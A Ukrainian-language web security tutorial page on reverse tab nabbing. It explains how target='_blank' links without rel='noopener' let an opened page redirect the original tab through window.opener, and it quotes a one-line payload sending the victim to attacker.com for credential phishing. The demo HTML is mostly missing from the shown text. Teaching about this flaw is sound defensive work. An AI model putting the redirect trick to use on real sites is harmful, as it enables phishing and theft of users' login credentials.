Reverse Tab Nabbing
Опис
У ситуації, коли зловмисник може контролювати аргумент href
тегу <a
з атрибутом target="_blank" rel="opener"
, на який натисне жертва, зловмисник може спрямувати це посилання на веб-сайт під його контролем (зловісний веб-сайт). Потім, коли жертва клікає на посилання та переходить на веб-сайт зловмисника, цей зловісний веб-сайт зможе контролювати оригінальну сторінку через об'єкт javascript window.opener
.
Якщо сторінка не має rel="opener"
, але містить target="_blank"
, і також не має rel="noopener"
**, вона також може бути вразливою.
Звичайним способом зловживання цією поведінкою було б змінити місце розташування оригінального веб-сайту через window.opener.location = https://attacker.com/victim.html
на веб-сайт, керований зловмисником, який виглядає як оригінальний, тому він може імітувати форму входу оригінального веб-сайту та запитувати у користувача облікові дані.
Проте слід зауважити, що оскільки зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту, він може зловживати ним іншими способами для здійснення прихованих атак (можливо, змінюючи події javascript для витікання інформації на сервер, керований ним?)
Огляд
З відсиланням назад
Посилання між батьківськими та дочірніми сторінками, коли не використовується атрибут запобігання:
Без відсилання назад
Посилання між батьківськими та дочірніми сторінками, коли використовується атрибут запобігання:
Приклади
Створіть наступні сторінки у папці та запустіть веб-сервер за допомогою python3 -m http.server
Потім зайдіть на http://127.0.0.1:8000/
vulnerable.html, клікніть на посилання та зауважте, як URL оригінального веб-сайту змінюється.
```markup
New Malicious Site
``` ## Доступні властивості
У випадку коли відбувається крос-оригінальний доступ (доступ між різними доменами), властивості екземпляра класу JavaScript window, на який посилається посилання об'єкта JavaScript opener, які можуть бути доступні зловмисному сайту, обмежені наступним чином:
opener.closed
: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи логічне значення.opener.frames
: Ця властивість надає доступ до всіх елементів iframe в поточному вікні.opener.length
: Ця властивість повертає кількість елементів iframe, які присутні в поточному вікні.opener.opener
: Через цю властивість можна отримати посилання на вікно, яке відкрило поточне вікно.opener.parent
: Ця властивість повертає батьківське вікно поточного вікна.opener.self
: Ця властивість надає доступ до самого поточного вікна.opener.top
: Ця властивість повертає найвище розташоване вікно браузера.
Проте, у випадках, коли домени ідентичні, зловмисний сайт отримує доступ до всіх властивостей, які викриває window посилання об'єкта JavaScript.
Запобігання
Інформація про запобігання задокументована в HTML5 Cheat Sheet.
Посилання
Last updated